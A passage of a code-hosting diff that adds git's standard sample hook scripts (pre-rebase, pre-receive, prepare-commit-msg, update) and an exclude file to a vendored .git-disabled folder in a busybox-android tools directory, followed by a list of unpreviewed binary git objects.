| 58 | + not_in_topic=`git rev-list "^$topic" master` | ||
| 59 | + if test -z "$not_in_topic" | ||
| 60 | + then | ||
| 61 | + echo >&2 "$topic is already up-to-date with master" | ||
| 62 | + exit 1 ;# we could allow it, but there is no point. | ||
| 63 | + else | ||
| 64 | + exit 0 | ||
| 65 | + fi | ||
| 66 | +else | ||
| 67 | + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` | ||
| 68 | + /usr/bin/perl -e ' | ||
| 69 | + my $topic = $ARGV[0]; | ||
| 70 | + my $msg = "* $topic has commits already merged to public branch:\n"; | ||
| 71 | + my (%not_in_next) = map { | ||
| 72 | + /^([0-9a-f]+) /; | ||
| 73 | + ($1 => 1); | ||
| 74 | + } split(/\n/, $ARGV[1]); | ||
| 75 | + for my $elem (map { | ||
| 76 | + /^([0-9a-f]+) (.*)$/; | ||
| 77 | + [$1 => $2]; | ||
| 78 | + } split(/\n/, $ARGV[2])) { | ||
| 79 | + if (!exists $not_in_next{$elem->[0]}) { | ||
| 80 | + if ($msg) { | ||
| 81 | + print STDERR $msg; | ||
| 82 | + undef $msg; | ||
| 83 | + } | ||
| 84 | + print STDERR " $elem->[1]\n"; | ||
| 85 | + } | ||
| 86 | + } | ||
| 87 | + ' "$topic" "$not_in_next" "$not_in_master" | ||
| 88 | + exit 1 | ||
| 89 | +fi | ||
| 90 | + | ||
| 91 | +<<\DOC_END | ||
| 92 | + | ||
| 93 | +This sample hook safeguards topic branches that have been | ||
| 94 | +published from being rewound. | ||
| 95 | + | ||
| 96 | +The workflow assumed here is: | ||
| 97 | + | ||
| 98 | + * Once a topic branch forks from "master", "master" is never | ||
| 99 | + merged into it again (either directly or indirectly). | ||
| 100 | + | ||
| 101 | + * Once a topic branch is fully cooked and merged into "master", | ||
| 102 | + it is deleted. If you need to build on top of it to correct | ||
| 103 | + earlier mistakes, a new topic branch is created by forking at | ||
| 104 | + the tip of the "master". This is not strictly necessary, but | ||
| 105 | + it makes it easier to keep your history simple. | ||
| 106 | + | ||
| 107 | + * Whenever you need to test or publish your changes to topic | ||
| 108 | + branches, merge them into "next" branch. | ||
| 109 | + | ||
| 110 | +The script, being an example, hardcodes the publish branch name | ||
| 111 | +to be "next", but it is trivial to make it configurable via | ||
| 112 | +$GIT_DIR/config mechanism. | ||
| 113 | + | ||
| 114 | +With this workflow, you would want to know: | ||
| 115 | + | ||
| 116 | +(1) ... if a topic branch has ever been merged to "next". Young | ||
| 117 | + topic branches can have stupid mistakes you would rather | ||
| 118 | + clean up before publishing, and things that have not been | ||
| 119 | + merged into other branches can be easily rebased without | ||
| 120 | + affecting other people. But once it is published, you would | ||
| 121 | + not want to rewind it. | ||
| 122 | + | ||
| 123 | +(2) ... if a topic branch has been fully merged to "master". | ||
| 124 | + Then you can delete it. More importantly, you should not | ||
| 125 | + build on top of it -- other people may already want to | ||
| 126 | + change things related to the topic as patches against your | ||
| 127 | + "master", so if you need further changes, it is better to | ||
| 128 | + fork the topic (perhaps with the same name) afresh from the | ||
| 129 | + tip of "master". | ||
| 130 | + | ||
| 131 | +Let's look at this example: | ||
| 132 | + | ||
| 133 | + o---o---o---o---o---o---o---o---o---o "next" | ||
| 134 | + / / / / | ||
| 135 | + / a---a---b A / / | ||
| 136 | + / / / / | ||
| 137 | + / / c---c---c---c B / | ||
| 138 | + / / / \ / | ||
| 139 | + / / / b---b C \ / | ||
| 140 | + / / / / \ / | ||
| 141 | + ---o---o---o---o---o---o---o---o---o---o---o "master" | ||
| 142 | + | ||
| 143 | + | ||
| 144 | +A, B and C are topic branches. | ||
| 145 | + | ||
| 146 | + * A has one fix since it was merged up to "next". | ||
| 147 | + | ||
| 148 | + * B has finished. It has been fully merged up to "master" and "next", | ||
| 149 | + and is ready to be deleted. | ||
| 150 | + | ||
| 151 | + * C has not merged to "next" at all. | ||
| 152 | + | ||
| 153 | +We would want to allow C to be rebased, refuse A, and encourage | ||
| 154 | +B to be deleted. | ||
| 155 | + | ||
| 156 | +To compute (1): | ||
| 157 | + | ||
| 158 | + git rev-list ^master ^topic next | ||
| 159 | + git rev-list ^master next | ||
| 160 | + | ||
| 161 | + if these match, topic has not merged in next at all. | ||
| 162 | + | ||
| 163 | +To compute (2): | ||
| 164 | + | ||
| 165 | + git rev-list master..topic | ||
| 166 | + | ||
| 167 | + if this is empty, it is fully merged to "master". | ||
| 168 | + | ||
| 169 | +DOC_END |
tools/busybox-android/.git-disabled/hooks/pre-receive.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/pre-receive.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to make use of push options. | ||
| 4 | +# The example simply echoes all push options that start with 'echoback=' | ||
| 5 | +# and rejects all pushes when the "reject" push option is used. | ||
| 6 | +# | ||
| 7 | +# To enable this hook, rename this file to "pre-receive". | ||
| 8 | + | ||
| 9 | +if test -n "$GIT_PUSH_OPTION_COUNT" | ||
| 10 | +then | ||
| 11 | + i=0 | ||
| 12 | + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" | ||
| 13 | + do | ||
| 14 | + eval "value=\$GIT_PUSH_OPTION_$i" | ||
| 15 | + case "$value" in | ||
| 16 | + echoback=*) | ||
| 17 | + echo "echo from the pre-receive-hook: ${value#*=}" >&2 | ||
| 18 | + ;; | ||
| 19 | + reject) | ||
| 20 | + exit 1 | ||
| 21 | + esac | ||
| 22 | + i=$((i + 1)) | ||
| 23 | + done | ||
| 24 | +fi |
tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to prepare the commit log message. | ||
| 4 | +# Called by "git commit" with the name of the file that has the | ||
| 5 | +# commit message, followed by the description of the commit | ||
| 6 | +# message's source. The hook's purpose is to edit the commit | ||
| 7 | +# message file. If the hook fails with a non-zero status, | ||
| 8 | +# the commit is aborted. | ||
| 9 | +# | ||
| 10 | +# To enable this hook, rename this file to "prepare-commit-msg". | ||
| 11 | + | ||
| 12 | +# This hook includes three examples. The first comments out the | ||
| 13 | +# "Conflicts:" part of a merge commit. | ||
| 14 | +# | ||
| 15 | +# The second includes the output of "git diff --name-status -r" | ||
| 16 | +# into the message, just before the "git status" output. It is | ||
| 17 | +# commented because it doesn't cope with --amend or with squashed | ||
| 18 | +# commits. | ||
| 19 | +# | ||
| 20 | +# The third example adds a Signed-off-by line to the message, that can | ||
| 21 | +# still be edited. This is rarely a good idea. | ||
| 22 | + | ||
| 23 | +case "$2,$3" in | ||
| 24 | + merge,) | ||
| 25 | + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;; | ||
| 26 | + | ||
| 27 | +# ,|template,) | ||
| 28 | +# /usr/bin/perl -i.bak -pe ' | ||
| 29 | +# print "\n" . `git diff --cached --name-status -r` | ||
| 30 | +# if /^#/ && $first++ == 0' "$1" ;; | ||
| 31 | + | ||
| 32 | + *) ;; | ||
| 33 | +esac | ||
| 34 | + | ||
| 35 | +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') | ||
| 36 | +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" |
tools/busybox-android/.git-disabled/hooks/update.sample
0 → 100755
| 1 | +++ a/tools/busybox-android/.git-disabled/hooks/update.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to block unannotated tags from entering. | ||
| 4 | +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new | ||
| 5 | +# | ||
| 6 | +# To enable this hook, rename this file to "update". | ||
| 7 | +# | ||
| 8 | +# Config | ||
| 9 | +# ------ | ||
| 10 | +# hooks.allowunannotated | ||
| 11 | +# This boolean sets whether unannotated tags will be allowed into the | ||
| 12 | +# repository. By default they won't be. | ||
| 13 | +# hooks.allowdeletetag | ||
| 14 | +# This boolean sets whether deleting tags will be allowed in the | ||
| 15 | +# repository. By default they won't be. | ||
| 16 | +# hooks.allowmodifytag | ||
| 17 | +# This boolean sets whether a tag may be modified after creation. By default | ||
| 18 | +# it won't be. | ||
| 19 | +# hooks.allowdeletebranch | ||
| 20 | +# This boolean sets whether deleting branches will be allowed in the | ||
| 21 | +# repository. By default they won't be. | ||
| 22 | +# hooks.denycreatebranch | ||
| 23 | +# This boolean sets whether remotely creating branches will be denied | ||
| 24 | +# in the repository. By default this is allowed. | ||
| 25 | +# | ||
| 26 | + | ||
| 27 | +# --- Command line | ||
| 28 | +refname="$1" | ||
| 29 | +oldrev="$2" | ||
| 30 | +newrev="$3" | ||
| 31 | + | ||
| 32 | +# --- Safety check | ||
| 33 | +if [ -z "$GIT_DIR" ]; then | ||
| 34 | + echo "Don't run this script from the command line." >&2 | ||
| 35 | + echo " (if you want, you could supply GIT_DIR then run" >&2 | ||
| 36 | + echo " $0 <ref> <oldrev> <newrev>)" >&2 | ||
| 37 | + exit 1 | ||
| 38 | +fi | ||
| 39 | + | ||
| 40 | +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then | ||
| 41 | + echo "usage: $0 <ref> <oldrev> <newrev>" >&2 | ||
| 42 | + exit 1 | ||
| 43 | +fi | ||
| 44 | + | ||
| 45 | +# --- Config | ||
| 46 | +allowunannotated=$(git config --bool hooks.allowunannotated) | ||
| 47 | +allowdeletebranch=$(git config --bool hooks.allowdeletebranch) | ||
| 48 | +denycreatebranch=$(git config --bool hooks.denycreatebranch) | ||
| 49 | +allowdeletetag=$(git config --bool hooks.allowdeletetag) | ||
| 50 | +allowmodifytag=$(git config --bool hooks.allowmodifytag) | ||
| 51 | + | ||
| 52 | +# check for no description | ||
| 53 | +projectdesc=$(sed -e '1q' "$GIT_DIR/description") | ||
| 54 | +case "$projectdesc" in | ||
| 55 | +"Unnamed repository"* | "") | ||
| 56 | + echo "*** Project description file hasn't been set" >&2 | ||
| 57 | + exit 1 | ||
| 58 | + ;; | ||
| 59 | +esac | ||
| 60 | + | ||
| 61 | +# --- Check types | ||
| 62 | +# if $newrev is 0000...0000, it's a commit to delete a ref. | ||
| 63 | +zero="0000000000000000000000000000000000000000" | ||
| 64 | +if [ "$newrev" = "$zero" ]; then | ||
| 65 | + newrev_type=delete | ||
| 66 | +else | ||
| 67 | + newrev_type=$(git cat-file -t $newrev) | ||
| 68 | +fi | ||
| 69 | + | ||
| 70 | +case "$refname","$newrev_type" in | ||
| 71 | + refs/tags/*,commit) | ||
| 72 | + # un-annotated tag | ||
| 73 | + short_refname=${refname##refs/tags/} | ||
| 74 | + if [ "$allowunannotated" != "true" ]; then | ||
| 75 | + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2 | ||
| 76 | + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 | ||
| 77 | + exit 1 | ||
| 78 | + fi | ||
| 79 | + ;; | ||
| 80 | + refs/tags/*,delete) | ||
| 81 | + # delete tag | ||
| 82 | + if [ "$allowdeletetag" != "true" ]; then | ||
| 83 | + echo "*** Deleting a tag is not allowed in this repository" >&2 | ||
| 84 | + exit 1 | ||
| 85 | + fi | ||
| 86 | + ;; | ||
| 87 | + refs/tags/*,tag) | ||
| 88 | + # annotated tag | ||
| 89 | + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 | ||
| 90 | + then | ||
| 91 | + echo "*** Tag '$refname' already exists." >&2 | ||
| 92 | + echo "*** Modifying a tag is not allowed in this repository." >&2 | ||
| 93 | + exit 1 | ||
| 94 | + fi | ||
| 95 | + ;; | ||
| 96 | + refs/heads/*,commit) | ||
| 97 | + # branch | ||
| 98 | + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then | ||
| 99 | + echo "*** Creating a branch is not allowed in this repository" >&2 | ||
| 100 | + exit 1 | ||
| 101 | + fi | ||
| 102 | + ;; | ||
| 103 | + refs/heads/*,delete) | ||
| 104 | + # delete branch | ||
| 105 | + if [ "$allowdeletebranch" != "true" ]; then | ||
| 106 | + echo "*** Deleting a branch is not allowed in this repository" >&2 | ||
| 107 | + exit 1 | ||
| 108 | + fi | ||
| 109 | + ;; | ||
| 110 | + refs/remotes/*,commit) | ||
| 111 | + # tracking branch | ||
| 112 | + ;; | ||
| 113 | + refs/remotes/*,delete) | ||
| 114 | + # delete tracking branch | ||
| 115 | + if [ "$allowdeletebranch" != "true" ]; then | ||
| 116 | + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 | ||
| 117 | + exit 1 | ||
| 118 | + fi | ||
| 119 | + ;; | ||
| 120 | + *) | ||
| 121 | + # Anything else (is there anything else?) | ||
| 122 | + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 | ||
| 123 | + exit 1 | ||
| 124 | + ;; | ||
| 125 | +esac | ||
| 126 | + | ||
| 127 | +# --- Finished | ||
| 128 | +exit 0 |
tools/busybox-android/.git-disabled/index
0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/info/exclude
0 → 100644
| 1 | +++ a/tools/busybox-android/.git-disabled/info/exclude | ||
| 1 | +# git ls-files --others --exclude-from=.git/info/exclude | ||
| 2 | +# Lines that start with '#' are comments. | ||
| 3 | +# For a project mostly in C, the following would be a good set of | ||
| 4 | +# exclude patterns (uncomment them if you want to use them): | ||
| 5 | +# *.[oa] | ||
| 6 | +# *~ |
tools/busybox-android/.git-disabled/logs/HEAD
0 → 100644
tools/busybox-android/.git-disabled/logs/refs/heads/master
0 → 100644
tools/busybox-android/.git-disabled/logs/refs/remotes/origin/HEAD
0 → 100644
tools/busybox-android/.git-disabled/objects/0b/63fa70c43ee3e4abddec7996adf87564d250b0
0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/0d/c6b95f2d930aca51a6f187bc44de804921e5ec
0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/12/9e11588b287ea726fd46819485a71df555f9d5
0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/16/672680d27db4249b7c5c08b3d53d610be474a5
0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/17/e953ad8946aca71f145b900cc889e37ea1489b
0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1a/0dbae0dd803782131025595b46b4965772600e
0 → 100644
No preview for this file type